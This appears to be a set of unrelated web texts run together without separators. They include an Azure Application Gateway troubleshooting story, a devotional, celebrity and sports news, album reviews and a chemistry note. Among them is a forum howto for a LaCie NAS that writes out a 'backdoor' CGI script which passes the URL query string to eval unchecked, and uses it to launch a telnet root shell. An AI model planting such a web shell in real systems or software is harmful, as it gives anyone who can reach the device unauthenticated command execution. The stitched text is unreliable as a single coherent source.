I was setting up an Azure Application Gateway for a project couple days back. The intended workload was setting up git on nginix. But when I tried to reach the git URL I noticed that it was failing with 502 Bad Gateway error.
Initial Troubleshooting Steps
- We tried to access backend servers from Application Gateway IP 10.62.124.6, backend server IPs are 10.62.66.4 and 10.62.66.4. Application Gateway configured for SSL Offload.
- We were able to access the backend servers directly on port 80, but when accessed via Application Gateway this issue occurs.
- Rebooted the Application Gateway and the backend servers. and configured custom probe as well. But the issue was with the Request time out value which is by default configured for 30 seconds.
- This means that when user request is received on Application Gateway, it forwards it to the backend pool and waits for 30 seconds and if it fails to get a response back then within that period users will receive a 502 error.
- The issue has been temporarily resolved after the time out period on the Backend HTTP settings has been changed to 120 seconds.
Real Deal
Increasing the timeout values were only a temporary fix as we were unable to find out a permanent fix. I have reached out to Microsoft Support and they wanted us to run below diagnostics.
- Execute the below cmdlet and share the results.
$getgw = Get-AzureRmApplicationGateway -Name <application gateway name> -ResourceGroupName <resource group name>
- Collect simultaneous Network traces:
- Start network captures on On-premises machine(Source client machine) and Azure VMs (Backend servers)
- Windows: Netsh
- Command to start the trace: Netsh trace start capture=yes report=yes maxsize=4096 tracefile=C:\Nettrace.etl
- Command to stop the trace: Netsh trace stop
- Linux: TCPdump
- TCP DUMP command: sudo tcpdump -i eth0 -s 0 -X -w vmtrace.cap
- Windows: Netsh
- Reproduce the behavior.
- Stop network captures.
- Start network captures on On-premises machine(Source client machine) and Azure VMs (Backend servers)
The network traces collected on Client machine and Destination servers while the issue was reproduced indicates that, during the time period the trace was collected, for every HTTP Get Request (default probing) from the Application Gateway instances on the backend servers, the servers responded "Status: Forbidden" HTTP Response.
This has resulted in Application Gateway marking the backend servers as unhealthy as the expected response is HTTP 200 OK.
The Application Gateway "gitapp" configured for 2 instances (Internal instance IPs: 10.62.124.4, 10.62.124.5)

12:50:45 PM 1/3/2017 10.62.66.5 10.62.124.5 HTTP HTTP:Response, HTTP/1.1, Status: Forbidden, URL: /
Due to the security feature 'rack_attack' enabled on the backend servers, it has blacklisted the application gateway instance IP's and therefore the servers were not responding to the Application Gateway, causing it to mark the backend servers as Unhealthy.
Once this feature was disabled on the backend web servers (niginx) , the issue was resolved and we could successfully access the web application using Application Gateway.

Seagulls regularly land on my skylights and attempt to crack open shells. Invariably, they make a ruckus! But they also tend to lose their footing rather quicky and slide down, making a screeching noise reminiscent of fingers on chalkboard.
Does this deter them? Oh, no. They try to climb right back up again. And again. And again. Some days, it's quite an earful!
Of course, we have to shake our heads and think of how silly the birds are, coming back time after time to do the same thing with the same failed consequences. But, then, I'm reminded of how we do the same thing with chronic pain.
There's the friend who broke a foot and had to wear a boot, but didn't want to forfeit fancy shoes…and the foot took much longer to heal.
There's me who sometimes thinks, "Oh, one more load of laundry won't do me in," but it does.
And so on…
Yes, we are much like the birds! Again and again.
But, as we are reminded in Scripture, God the Father cares for each sparrow, regardless of their fickle flight. And, what's more, God protects them.
And in the same way, He cares for us and protects us, no matter how many times we try – and fumble – to climb the mountain!
Blessings for the day,

With the Anthony Weiner scandal and the reemergence of Eliot Spitzer in electoral politics, CBS's political drama The Good Wife seems quite a bit less than fiction these days. Star Julianna Margulies can't believe her good fortune as the headlines surrounding both Weiner and wife Huma Abedin make her drama seem amazingly relevant.
It's a "gift that just keeps on giving" the actress told E!.
The drama was essentially based on Spitzer's sex scandal and depicts Chicago politician Peter Florrick [Chris Noth] who was caught stepping out on his wife [Margulies] and follows his attempt at redemption and his wife's journey toward coping with it all.
At the end of the fourth season Florrick gets reelected despite his scandal and this strangely coincides with Spitzer's attempt to gain elected office again with a run for New York Comptroller.
"It's like, 'You must be kidding! He must watch the show!' It really feels like at first, art was imitating life, and now life is imitating art," the actress said.
But it is the Weiner scandal that really amused Margulies.
I would never want to benefit from someone else's pain but I have been emailing [our producers] for two weeks now. It is the gift that just keeps on giving. It is shocking that in our fifth season, this show is more relevant than ever. It's amazing that my character is a character that women are looking to for answer as to how she feels about it. Alicia's advice to the wives would be, 'Go back to work. Don't open the paper. Don't watch TV.'
The actress had a lot of sympathy for Weiner's wife, Huma Abedin. But Margulies guessed that if Weiner loses this election it won't be long before Huma files for divorce just as Silda Spitzer is rumored to be considering.

The Yankees are among the league's best hitting teams against opposing pitchers' fastballs.
Indians right-hander Trevor Bauer attacked the Yankees' powerful lineup, led by Aaron Judge and Gary Sanchez, with curveballs.
In Game 1 of the ALDS on Oct. 5, Bauer allowed two hits over 6 2/3 shutout innings. He struck out eight and walked two. Of his 98 pitches, 35 were curveballs that chained the Yankees' potent lineup in a 4-0 Indians win.
Bauer's curveball helped stymie manager Joe Girardi's team to the extent the Indians' right-hander carried a no-hitter into the sixth inning. Bauer's 5 1/3 hitless innings now stand as the longest no-hit postseason bid in franchise history.
"His curveball was really good tonight," Girardi said. "It's as good as we've seen it, and he's been pitching better."
Per Brooks Baseball, Bauer's curveball accounted for 29 percent of his pitches in 2017. The development of the pitch was an emphasis in the past offseason and keyed his impressive second half.
According to FanGraphs' data, Bauer's 937 curveballs thrown this season were far and away a career-most.
Opposing hitters batted just .227 against Bauer's curve. He used the pitch to strike out 76 hitters among his career-high 196.
In the Indians' playoff opener, Bauer threw the curveball for strikes in the zone as often as he buried it to wipe out hitters.
Of Bauer's eight strikeouts, five concluded with a Yankee hitter watching his curveball arc, drop and snag the edge of the strike zone.
Judge struck out in all four of his at-bats and three timese against Bauer. Two of his K's were backward — each looking at a curveball low and away.
Bauer's shifting usage of his breaking ball prevented the Yankees from unloading on it, even when they expected the pitch.
"He varies it," Judge said. "He likes to play around with it. He'll throw one in there a little softer and then, in certain counts, he'll go a little harder with it. He works with it."
Bauer ended four innings with strikeouts.
Aside from Todd Frazier's 350-foot foul ball near the Budweiser Home Run Porch in left field, Bauer's pitches were rarely met with quality contact.
"I thought Bauer did a really good job of commanding the strike zone today," Yankees outfielder Brett Gardner said. "He had the curveball working in and out, and didn't seem to be missing a whole lot."
The Yankees put seven of Bauer's curveballs in play on Oct. 5, the most of any of his pitches. For one, the Yankees only placed four of Bauer's fastballs in play as they were unable to hone in on the pitch.
As for the curveballs, Yankees contact against it resulted in just a 74.5 mph average exit velocity. For the uninitiated, such a number leads to low hit probability.
When paired with the rest of his arsenal, Bauer overwhelmed the Yankees while the Indians gained command of the team's best-of-five series.
"It's tough when he's got a curveball working like that," Gardner said. "He's also got a changeup you have to be aware of as a left-handed hitter. He's got a good fastball he was kind of spraying around in and out, up and down. He beat us tonight."

CD Details
Some of Waylon Jennings's brightest moments have come with galloping Texas near-rockers like "Are You Sure Hank Done It This Way," so Closing In on the Fire's emphasis on boogie and blues is no surprise. Nor is the basic thrust of many of the songs here; Waylon will continue delivering bemused observations like "Back Home (Where I Come From)" till the planet spins off its axis. Exceptions include the sweetly effective ballad "Be Mine" (with guitar support by Mark Knopfler) and one real clunker, Sting's "She's Too Good for Me," which suggests that its writer should stop trying to tell jokes. Although not stunning like the belated reissue of 1975's Dreaming My Dreams, Closing In still puts Jennings's point across satisfactorily. --Rickey Wright

Blues-rock with a little country tossed in
Michael Carley | San Joaquin Valley, CA | 05/28/2001
(5 out of 5 stars)
"In another review (click on my name to see it), I stated that "Waymore's Blues (part II)" was Waylon's best album of recent years. I still think that one was great, but somehow this CD seems to find it's way into my stereo more and more. Waylon states in the final track (a hidden track in which he discusses the background of some of the songs and the production of the CD) that he told his collaborators (which include Sting, Sheryl Crow, Travis Tritt, Mark Knopfler, Marty Stuart, Carl Smith, Randy Scruggs, and of course, his wife Jessi Colter) to ignore everything he had previously done and start anew. The result is the most rock-oriented album of his career. Buddy Holly's influence was never more evident.The mood is set by the title track, Tony Joe White's "Closing In On the Fire" an outstanding blues-rock number that radiates sexuality with every beat (if not the lyrics). "Just Watch Your Mama and Me" may just be the best ballad Waylon has ever written. "She's Too Good For Me" is Sting's contribution, and although some of the lyrics are corny, it is a fun song. Sheryl Crow duets on this one. "Back Home (Where I Come From)" is typical Waylon swagger, mixed with a little country humor. "Be Mine" is a sweet ballad written by Texas singer/songwriter Kimmie Rhodes. (The two have a great duet version of the song on Rhodes' now out of print album "West Texas Heaven"). "Easy Money" and "The Blues Don't Care" are two more blues-rock numbers that fit the album well. And, while the world may not have needed another cover of the Stones "No Expectations", Waylon fans will probably enjoy his."
Great modern Waylon!
Casey Newbold - Kerr | Melbourne, Australia. | 07/03/2004
(5 out of 5 stars)
"This is an odd album in that Waylon attempts some new sounds... but those new sounds certainly work. Diehard fans will love it. Others should listen to a few earlier albums before this one... but if they do that, they'll love it. Either way, this is a great album.On this album, Waylon branches out. It's got some great blues-rock stuff on it. Waylon and the band on this album really rock out, and it sounds great. It's different from, say, Waylon Live or Dreaming My Dreams in that it's not about the "Waylon sound," but you can still tell it's Waylon's music. If you want to hear Waylon doing rock and Tony Joe White-style swampy music, this is the album. After you buy the essential Waylon classics, this is a good modern Waylon album, along with Waymore's Blues Pt II, Right For The Time, and Never Say Die: Live. The latter day albums may not be up there with Honky Tonk Heroes and Dreaming My Dreams with the critics, but in my opinion these albums are as essential in a Waylon collection as the others.If you're getting into Waylon and want something different, this is a modern classic that you'll love. His last 5 or so albums (including the Highwaymen releases) are pretty essential, in my opinion. Waylon's voice aged like a fine wine. In about 1994 he started sounding like a wise old man -- one with a very, VERY good voice. His voice developed a quality that suggested he'd lived everything he was singing about... possibly because, well, he HAD lived most of what he sang about! Another classic Waylon album. It deserves to be in your collection, like most of his releases.(Also, the audio liner notes are great! You can tell Waylon is trying to be serious... but we still get a few glimpses of that classic Waylon sense of humour!)Oh, and... WAYLON RULES!"

Here is a small howto in order to add a telnet access to the "d2 network" (Here is the specs of the LaCie's D2 network.).
Note: this howto should work also for other LaCie's network family product.
[*] Big disk network (not confirmed)
[*] 2 Big network (not confirmed)
[*] 5 Big network (not confirmed)
("network" family products).
Note: I've done this howto with my NAS opened (which void the warranty). But you should take a close look at belese's post : add ssh without dissambling (in the "Network Space" section of this forum).
[*] Make a backup of you're disk using a unix live CD (ie: knoppix) and the dd command.
Browse this forum if you don't know how to do this.
For the moment dd images of the d2 network are not in the nas-central repository, I'll upload mine when I've some spare time.
[*] Open you're NAS and get the hard drive (!!! THIS WILL REMOVE YOUR WARRANTY !!!):
It's easy to avoid breaking the warranty seal. This is just a sticker on one of the 4 rear screws. So do not unscrew the one with the sticker and rotate the rear part to get the disk.
[*] Downoad the telnet deamon has explained by Jimmy in his his blog : http://downloads.nas-central.org/Upload ... s/utelnetd
[*] Create a backdoor script :
I've called mine "exploit.cgi".#!/bin/sh
echo "Content-type: text/plain"
echo ""
echo $QUERY_STRING | sed s/"%20"/" "/
eval `echo "$QUERY_STRING" | sed s/"%20"/" "/`
The "sed" command replace "%20" characters send by your web browser by spaces. Thus allow us to use command with spaces (like "ls -lsa").
[*] Put the utelned and exploit.cgi files in a drive readable from the live cd (usb key, primary HDD...).
[*] Launch you're Live CD with the disk plugged in your PC and browse to the sdX8 partition (the one with the "www" folder). For my config the disk was sda8 (if you've plug your hard drive in second this can be sdb8).
Copy the utelnetd and exploit file in the www public folder, and make them executable :
Code: Select all
mkdir /mnt/sda8
mount /dev/sda8 /mnt/sda8 -text3
cd mnt/sda8/www/cgi-bin/public
Note: You're exploit.cgi file is not in DOS format ?
Code: Select all
cp <my_source>/utelnetd /mnt/sda8/www/cgi-bin/public/
cp <my_source>/exploit.cgi /mnt/sda8/www/cgi-bin/public/
chmod +x utelnetd
chmod +x exploit.cgi
You shouldn't have "^M" at the end of each lines.
Code: Select all
cat exploit.cgi
[*] Shut down you're computer, place the d2 disk in his box. Start the D2, start your web browser and enter the following url :
(replace "cerise" by your d2 IP)
If the content of the www public folder is displayed then your backdoor is working (also try "ls -lsa" to see if the sed command works).
[*] If the backdoor works you can launch the telnet deamon :
http://<your d2 ip>/cgi-bin/public/exploit.cgi?utelnetd -l /bin/sh
[*] now you can telnet your d2 !
Happy hacking !

- We have learned that, all salts of sulphate are soluble in water, except lead(II) sulphate, barium sulphate and calcium sulphate.
- The insolubility of barium sulphate is used to test for the presence of sulphate in a salt.
- 2 cm3 of dilute hydrochloric / nitric acid is added to 2 cm3 of sulphate solution. This is to check whether carbonate is presence in the solution or not because carbonate may give the same result as sulphate.
- If not effervescence, then 2 cm3 of barium chloride is added into the solution.
- If sulphate ions are presence, a white precipitate will form. The precipitate is barium sulphate.
- This is actually the double decomposition reaction that you have learned in preparation of insoluble salt.
Ba2+ + SO42– → BaSO4

Chicago police and school officials said today they plan to step up curfew enforcement beginning Friday evening as the district begins a week of spring break.
The announcement made at police headquarters by Police Supt. Jody Weis and Chicago Public Schools CEO Ron Huberman comes with less than three months of the school year left and 29 CPS students killed this school year, surpassing last year's total.
"We have had a lot of school kids shot this year, we recognize that the violence is more geared into the communities, we want to make sure it's safe," Weis said.

McLaren MPC-12C - Click above for high-res image gallery
According to InsideLine, McLaren is having issues setting up distribution in the U.S., resulting in a delay of the MP4-12C's Stateside launch and its plans to show its newest supercar at the LA Auto Show this December.
Late last month, McLaren appointed Anthony Joseph, former regional manager for Porsche, Ferrari and Maserati, to setup the automaker's dealer network in the U.S., but over the course of the last few weeks McLaren has apparently hit a few roadblocks and it's expected that the creation of retail outlets will be delayed until sometime next year. With the economy in its current state, that may be a blessing in disguise, but that does little to stave off our desire to see the MP4-12C on the show stand.
UPDATE: McLaren responded to Inside Line that the MP4-12C has not been delayed and the decision to not debut the car at the LA Auto Show was made because it was considered too early based on the car's 2011 launch date.

Don't Take 'No' For An Answer: An Experiment With Actual Organ Donor Registrations
Judd B. Kessler, Alvin E. Roth
NBER Working Paper No. 20378
Over 10,000 people in the U.S. die each year while waiting for an organ. Attempts to increase organ transplantation have focused on changing the registration question from an opt-in frame to an active choice frame. We analyze this change in California and show it decreased registration rates. Similarly, a "field in the lab" experiment run on actual organ donor registration decisions finds no increase in registrations resulting from an active choice frame. In addition, individuals are more likely to support donating the organs of a deceased who did not opt-in than one who said "no" in an active choice frame.

Hayden Christensen Quit Hollywood After Star Wars Because He Didn't Feel Like He'd Earned It
"If this time away is gonna be damaging to my career, then so be it."
If it's been a while since you've thought about Hayden Christensen, that's because his plan is working. As the former Anakin Skywalker told the L.A. Times, his rise to fame in the Star Wars prequels left him with the world's biggest case of imposter syndrome, which was only assuaged by retreating from the movie biz to spend years on a farm. "I felt like I had this great thing in Star Wars that provided all these opportunities and gave me a career, but it all kind of felt a little too handed to me," he explained. "I didn't want to go through life feeling like I was just riding a wave."
Christensen's latest film, the faith-based drama 90 Minutes in Heaven, comes after nearly five years out of the business*, and the actor says he's happy with the fact that his star dimmed since the Jumper days. "You can't take years off and not have it affect your career," he says. "But I don't know — in a weird, sort of destructive way, there was something appealing about that to me. There was something in the back of my head that was like, 'If this time away is gonna be damaging to my career, then so be it. If I can come back afterward and claw my way back in, then maybe I'll feel like I earned it.'" In other words, it's probably a good thing they didn't put him in Force Awakens.
*This post originally stated that 90 Minutes in Heaven was Christensen's first film in five years. It is one of three films he has made since coming out of hiatus.

+ Also, some men never think twice about marriage or babies until they find themselves 90% of the way there with the right woman—and then they step up and amaze everyone. So what you see when you're dating is not necessarily exactly the same as what you'll get when you're married. And man and women grow and improve during the life of a marriage, too. The truth is, it's kind of a crap shoot. We can make reasonable choices, but much about relationships is unpredictable... --Should I Marry Him
+ "I'm not, as I mentioned, especially hung up on men opening doors, specifically. But the idea that men do some special things for women, and women do some special things for men—sounds like a plan to make life tolerable." --The Art of Getting Hysterical About Gender
+ "Poverty saves you from foolish expenditures (unless you're foolish enough to go into debt over things you don't need): never once have we tasted the bitterness of buyer's remorse as we survey the bill for the wrong kind of premium cell phone, useless time share condo, regrettable L-shaped leather couch in sea foam green, or one of those luxury alligators. Thanks, poverty!" --The Blessings of Poverty
+ "Only people with a mental illness would truly believe that you can achieve anything. People who actually get things done are the people who look at themselves and say, "Okey-doke. There are some things I'm good at, and many thousands more things that I am and always will be utterly unqualified to do. Starting tomorrow, my job is do the least amount of thrashing around and wasting of my parent's tuition money as possible, while I figure out the difference between my very few strengths and my billions of weaknesses.
"'Then, I need to figure out if there's any possible way I can do what it turns out I'm good at, and also be a decent human being. If possible, it would be wonderful if the things I'm good at, and which allow me to be decent, are also things which will earn me a salary.'
"And after you have that conversation with yourself, and preferably after you come up with a better plan than scrawling "FIX LIFE" on your memo pad, then you can go out drinking with your buddies.

Mobile phones as a tool for democracy
Half of Kenya's more than 40 million people are between 15 and 65 years of age and the country has more than 25 million mobile phone subscriptions. This means that virtually all teenagers and adults have their own cell phone and that the country has more than 25 million potential whistle blowers. In close collaboration with Sodnet – a Kenyan NGO that works to mobilize and channel social activism – the UN Millennium Campaign has therefore developed a technology platform that can receive and record complaints on failed service delivery, sent in the form of ordinary text messages.
The platform, as well as the project, is called HUDUMA ("service" in Swahili) and the ultimate goal is to strengthen the interaction between the state and its citizens and thereby contribute to increased participation, democracy and accountability. So far, most people have complained about health, education, water and sanitation – key areas of the MDGs. Many local organizations have been involved in the project, testifying that HUDUMA has given them a new advocacy arena.
Before the project was launched a baseline-survey, mapping how the basic service delivery was perceived, was conducted. The survey, covering 8.000 households, found that nearly 50 percent of the citizens were familiar with their social and economic rights, but at the same time they did not have a clue where to turn if their rights were violated.
The UN Millennium Campaign is now about to launch similar projects in Mozambique, Ethiopia, Nigeria, Zambia and Rwanda.
- To date, hundreds of reports have been received by Huduma. It has led to, amongst other things, efforts to provide one of Kibera's schools with functioning toilets.
- Many local organizations feel that they have a new channel for their advocacy work. One example is KETAM, Kenya Treatment Access Movement, which promotes the right to health care and treatment for people living with HIV / AIDS. By using HUDUMA they managed to stop a ban on cheaper anti-retroviral drugs, and ultimately ensure that more people get the medicine they need.
- Some 80 doctors have received information about the platform, and have been trained in how to use it. They have brought attention to problems in hospitals around the country, such as a lack of drugs and other resources.
- The UN Millennium Campaign is now planning to start similar projects in Mozambique, Ethiopia, Nigeria, Zambia and Rwanda.

VIDEO: Best of The Sopranos with James Gandolfini
The Sopranos cast reflects on the life of James Gandolfini as we watch the most memorable scenes of the show, including the final scene.
The Sopranos was the hallmark of HBO for its six-season run led by mob boss Tony Soprano. We take a look at some the best scenes from The Sopranos as the show's co-stars reflect on the life and talent of their late friend James Gandolfini.
Edie Falco: played Carmela Soprano (NSFW)
Edie Falco and James Gandolfini portrayed one of the most intense and dynamic on-screen couples as Carmela and Tony Soprano for HBO's critically and commercially successful series, The Sopranos. Falco is understandably shaken by Gandolfini's sudden death and while she's not currently giving interviews regarding the death of her longtime co-star, she did release a statement to USA Today.
"I am shocked and devastated by Jim's passing. He was a man of tremendous depth and sensitivity, with a kindness and generosity beyond words. I consider myself very lucky to have spent 10 years as his close colleague. My heart goes out to his family."
She continued that to say that she will "forever hold on to the memories of our intense and beautiful time together. The love between Tony and Carmela was one of the greatest I've ever known."
Gandolfini famously told Vanity Fair in 2012 he was "in love" with Edie Falco — a reflection of the two stars' unique on-screen chemistry and friendship outside the show. "I'm still in love with Edie. And, of course, I love my wife, but I'm in love with Edie. I don't know if I'm in love with Carmela or Edie or both. I'm in love with her."
The closeness of Edie and James made it difficult for the pair to separate their on-screen connection as Tony and Carmela. Falco explained during the same candid Vanity Fair interview, "You know, Jim's a complicated guy. He never knew how good he was. He was always second-guessing, and trying, and caring about the way things came across."
Falco continued, "I knew almost nothing about his personal life, and he didn't know anything about me either. He was just Tony — he really was full inhabiting the part of this man that I was married to. And it was thrilling. Usually, if you look deep enough when you're doing a scene with somebody, you can see the actor, and I never saw anybody but Tony. Never."
Both James Gandolfini and Edie Falco won numerous awards for their roles as the ultimate mob couple. Gandolfini picked up three Emmy Awards for Outstanding Lead Performance in a Drama Series.
Lorraine Bracco: played Dr. Jennifer Melfi (NSFW)
The tension between Dr. Jennifer Melfi and Tony Soprano was one of the most interesting characteristics of the The Sopranos. Upon hearing the news of James Gandolfini's death, Bracco commented on the loss of an icon. "We lost a giant today. I am utterly heartbroken."
Steven Van Zandt: played Silvio Dante (NSFW)
Known as "Sil" to fans of The Sopranos, Dante was Tony's confidant, or, commonly referred to in mob culture as the family's consigliere. Said Van Zandt on hearing the news of Gandolfini's death, "I have lost a brother and a best friend. The world has lost one of the greatest actors of all time"
Michael Imperioli: played Christopher Moltisanti (NSFW)
Christopher Moltisanti was Tony Soprano's protégé and looked to Tony to fulfill a much-needed fatherly role. Said Imperioli, "Jimmy treated us all like family with generosity, loyalty, and compassion that is rare in this world. Working with him was a pleasure and privilege. I will be forever grateful having a friend the likes of Jimmy."
The final Sopranos scene: Tony Soprano
James Gandolfini even channeled Tony Soprano when he discussed his thoughts on how The Sopranos series finale ended:
"When I first saw the ending, I said, 'What the f***?' I mean, after all I went through, all this death, and then it's over like that? But after I had a day to sleep, I just say there and said, 'That's perfect.'"

Garage Door Installer
Hang metal tracks and motors to install automatic garage doors.
What does a Garage Door Installer do?
Just like a home, a garage is more secure when it's got a door that closes. But unlike a home, a garage has a door that's really heavy and can be incredibly dangerous to install. When you work as a Garage Door Installer, people don't have to worry about doing this difficult job though-you take it out of their hands.
There are two types of garage doors: manual and automatic. And as a Garage Door Installer, you have two types of clients: businesses and homes. But no matter which type of door or client you deal with, one thing is constant: You're an expert at installing, maintaining, and repairing doors, and you do it safely. Garage Door Installers usually work for businesses or companies that also sell garage doors, though you can have your own company and specialize just in installation.
Your day begins with a call. Clients might contact you directly, or they might call your company, in which case a Controller will send you job addresses. When you arrive at the site, you talk with the client to find out exactly what they want done.
You might be working with a person who wants to replace a worn-out door, or a construction crew putting the finishing touches on a new home. Good customer service skills are necessary for this job as you want to make sure you build a good relationship with your client. Communication is also important since you often end up working with another Installer. Garage doors are big and heavy, and it often requires two people to maneuver them into the correct position for installation.

World Heritage Day 2017
April 18th is 'World Heritage Day' (International Day for Monuments & Sites), a day of celebration created in 1982 by the UNESCO World Heritage advisory body ICOMOS (the International Council on Monuments & Sites) and later approved at the UNESCO General Conference in 1983.
The aim of World Heritage Day is to promote awareness of the diversity of the cultural heritage of humanity, the vulnerability of Sites, and the efforts required to protect and conserve these.
The theme for this year is 'Cultural Heritage & Sustainable Tourism', chosen in relation to the United Nations International Year of Sustainable Tourism for Development and in the context of the 2030 Agenda for Sustainable Development and the Sustainable Development Goals.
In designating 2017 as the International Year of Sustainable Tourism for Development, the United Nations General Assembly noted "…the importance of international tourism in fostering better understanding among peoples everywhere, in leading to a greater awareness of the rich heritage of various civilizations and in bringing about a better appreciation of the inherent values of different cultures, thereby contributing to the strengthening of peace in the world".
Inscribed in 2006 the Cornwall and West Devon Mining Landscape World Heritage Site acknowledges and celebrates the outstanding achievements of our forebears, in creating the internationally distinctive metalliferous mining landscapes of Cornwall and west Devon which are of importance to all humankind.
Enjoy your World Heritage Day.

When I was 11, my mother refused to let me play outside as I had done badly in my mid-term exams. Like most other children I was disappointed at not being able to live up to my expectations and more so those of my parents. However, soon I learnt that failure is simply a part of life, a stepping stone and definitely not the end. Many children in recent times on the other hand have not been as lucky.
14 suicides have taken place in Mumbai in the last two weeks. India has the second highest suicide rate in the world and 40 per cent of the cases are in the adolescent age group. Suicide is the third leading cause of death in people between the ages of 15 and 24 after motor vehicle accidents and homicides. The rise of suicidal tendencies in adolescents has been alarming and most of us are still perplexed at this sudden trend. What is the reason and what can we do about it?
Researchers concluded that people take their own lives in response to extreme emotional pain, and suicidal thoughts and feelings erupt due to various brain chemistry deficiencies and disorders, but, what drives adolescents to such thoughts at the tender age of 11-18? Peer pressure, fear of failure and rejection, alcohol or drug abuse, jilted lovers, or expectations of others from them?
Recently an 18 year old and a 14 year old hanged themselves due to failure in exams. A 12 year old girl killed herself because her family asked her to concentrate on her studies and refused to let her pursue dancing until she improved her grades. A 16 year old ended her life out of depression after recently having lost her father a few weeks before. These teenagers though having different reasons seem to have a binding factor and that is their loss of hope.
The spate of suicides in the city of Mumbai has brought one more factor to our notice-monkey see, monkey do, by which I mean that once the media starts publishing details of initial suicide attempts with all its juicy bits as first page news, it not only attracts the attention of impressionable teenagers but tends to allow them to believe it's an acceptable solution to problems in today's society.
Natural selection allows only the fittest to survive. Today, the 'fittest' refers to nothing but a group of successful, rich doctors or engineers. Our evaluation schemes for others and ourselves have changed dramatically. When we fail to achieve the standards set arbitrarily by society, we tend to confuse life-altering decisions as life-ending ones. Only if we learn to be a more tolerant towards choices and options beyond the prescribed ones, will we be able to accept ourselves as we are and truly move towards happiness and success.
Remember that you are allowed to make mistakes, and nothing done to you can break the love of people who genuinely care about you. Learn from the mistakes you make and try to talk to people around you. Focus on positive problem-solving approaches.
I don't want to play a blame game here but we need to acknowledge teenage suicide as a problem and make amends in our culture and values to highlight less lethal options to deal with failure and depression. There is no reason for the "hope" of our country's future to even know how to spell suicide, leave alone commit it.
A depressed teen's signals are often confusing to understand. Parents do want to think of their child as happy and confident. It always seems easier to ignore a problem than to actively deal with it. If you think someone around you is contemplating suicide, talk to them, don't judge them, and do not be too hard on them. Being a good friend and providing a patient ear can make the difference between life and death.
"When things go wrong, as they sometimes will,
When the road you're trudging seems all up hill,
Rest if you must, but don't you quit."

I wrote this out much earlier but forgot to add the photos and post it. So
last weekend two weekends ago was Richard's 26th birthday. We've decided that perhaps we're too old busy for an entire birthday week but a whole birthday weekend is just right. I always feel like I drop the ball on birthday celebrations. I didn't grow up celebrating birthdays so I'm not very good at planning out big to-dos; which is perfect because Richard doesn't like big to-dos. This year we had what felt like a 3 day weekend together. I don't have class on Friday and Richard only had one class early in the morning. It was a cold rainy weekend so we couldn't do much outside so instead we decided to stay in almost all weekend, except to go get food. We had lunch at one of our favorite places, Queenie's in Utica Square. Queenie's food menu is pretty simple, think sandwiches, salads and a burger. We always split a delicious grilled cheese and anything else. But really we go there for the desserts. We split a little chocolate cake and a lemon bar. Our waitress went above and beyond making them both very pretty and extra tasty.
Because of some other issues earlier in the day, we weren't able to make it to the museum like we wanted so instead we built a fort. We made it super cozy with extra pillows and blankets. We ran to target and I bought Richard a few gifts. I'm not sure if I should call them presents since Richard picked them out and most didn't get wrapped. I bought a battery pack for our dead X-Box remote and bought Plants v Zombies. I'm not a gamer at all. I only like silly and simple games that usually include repetitive tasks and beating a timer. Richard LOVES video games. The kind that involve shooting and memorizing some sort of map. Those give me motion sickness. After buying our supplies we returned to our cozy fort and played video games for the rest of the day. We only stopped to go get soup from the Whole Foods up the street.
The rest of the weekend was a perfectly lazy event filled with more yummy food (steak from Texas Roadhouse… yum!)and plenty of time in our fort. We watched the OU football game from our fort on Saturday night. Sunday Richard's mom came over late that evening and brought a yummy chocolate cake. I busted out the multiple boxes of Oreo's I bought just for him.
I'm thinking this fort building may be a new tradition in the making because Richard LOVED it. He got so excited when I pulled out sheets and he realized I was being serious about crafting our fortress.
p.s. Sorry, the pictures are so grainy… I really need to bust out our real camera more often just around the house.

From Upstate New York, USA:
I've been a Type 1 diabetic for 12 years. I'm 23 years old and get my eyes checked every year. Last year I noticed spots in my eyes. I went to the eye doctor and he checked everything over and said my eyes were fine. He mentioned they were probably floaters in my eyes. Should I be worried? I'm so afraid of going blind but when I go see my eye doctor he always tells me my eyes look fine. Is there any reasons to believe the black dots are from my diabetes?
"Floaters" can happen to anybody.
If your eye doc knew that you have diabetes, and did the usual comprehensive exam (including dilating your pupils, and shining very bright lights into your eyes!), you probably have nothing to worry about. But, for complete reassurance, why not telephone the eye doctor and ask his staff to doublecheck your chart or ask him?
I'm glad you're getting your eyes checked every year. That's a standard recommendation for people who have had Type 1 diabetes for over five years.

Work Study is a need-based financial aid award. It is not a grant (you must work to earn it), and it is not a loan (you do not have to repay it). Students must qualify for need-based financial aid to receive Work Study. Funds are limited, so not all qualifying students will receive an award
The Work Study program subsidizes a student's hourly wage. It is a "pot" of money set aside to pay a portion or your entire hourly wage. For you the student, it is much like working any other job: you work a number of hours in a pay period at an hourly wage rate and receive a paycheck for your earnings. For the employer, however, the Work Study program reimburses a large percentage, if not all of your wages, which makes it very attractive to hire Work Study students. Work Study students are in demand by employers, so eligible students can often pick the job of their choice.
Please visit the Student Employment Office for more details.

JON KRAWCZYNSKI,AP Sports Writer
EDEN PRAIRIE, Minn. (AP) — Rick Spielman stepped to the podium with a big smile on his face, elated that his Minnesota Vikings were able to land Florida defensive tackle Sharrif Floyd and Florida State cornerback Xavier Rhodes in the first round of the NFL draft on Thursday night.
Just when he thought an already productive night was over, the general manager cut a press briefing short and sprinted back to the team's draft room for one more deal. The receiver they coveted was still on the board, and New England was a willing trade partner.
Moments later, the Vikings were on the clock again, landing Tennessee receiver Cordarrelle Patterson in a binge that addressed needs at three of the team's thinnest positions.
"Sorry about that," a chuckling Spielman said to a group of reporters he left in the lurch.
The Vikings grabbed Floyd with the 23rd pick, Rhodes with the 25th and then gave up second, third, fourth and seventh round picks to New England to get back into the first round and take Patterson at No. 29, capping a dizzying 30-minutes at the end of the first night of the draft.
The Vikings entered the draft coming off a surprising playoff run last year and with major needs in the secondary, at receiver, linebacker and defensive tackle.
Floyd had 13 tackles for loss and 6½ sacks for the Gators as a junior last season. He was initially projected to go in the top 10 of the first round, but tumbled thanks to a run on offensive linemen higher in the draft. The Vikings have a history of taking Gators who tumbled after scoring big with receiver Percy Harvin in 2009.
With Kevin Williams aging and younger players like LeTroy Guion and Christian Ballard still relatively unproven, the Vikings jumped at the chance to stop Floyd's slide down the board.
"I went through a thousand scenarios at that 23rd and 25th pick and I can tell you honestly he was not in one of those scenarios," Spielman said. "So for him to fall down to our lap, there were some conversations as he fell to potentially even move up. But as the names kept falling off the board, we had more than enough options to just sit there and let everything fall to us. And when Sharrif fell to us, it was something that was very unexpected."
Floyd was surprised to land with the Vikings, but excited to learn under Williams, one of the best defensive tackles in the NFL over the last eight years.
"I couldn't have been part of a better ball club," Floyd said. "I'm excited to get started."
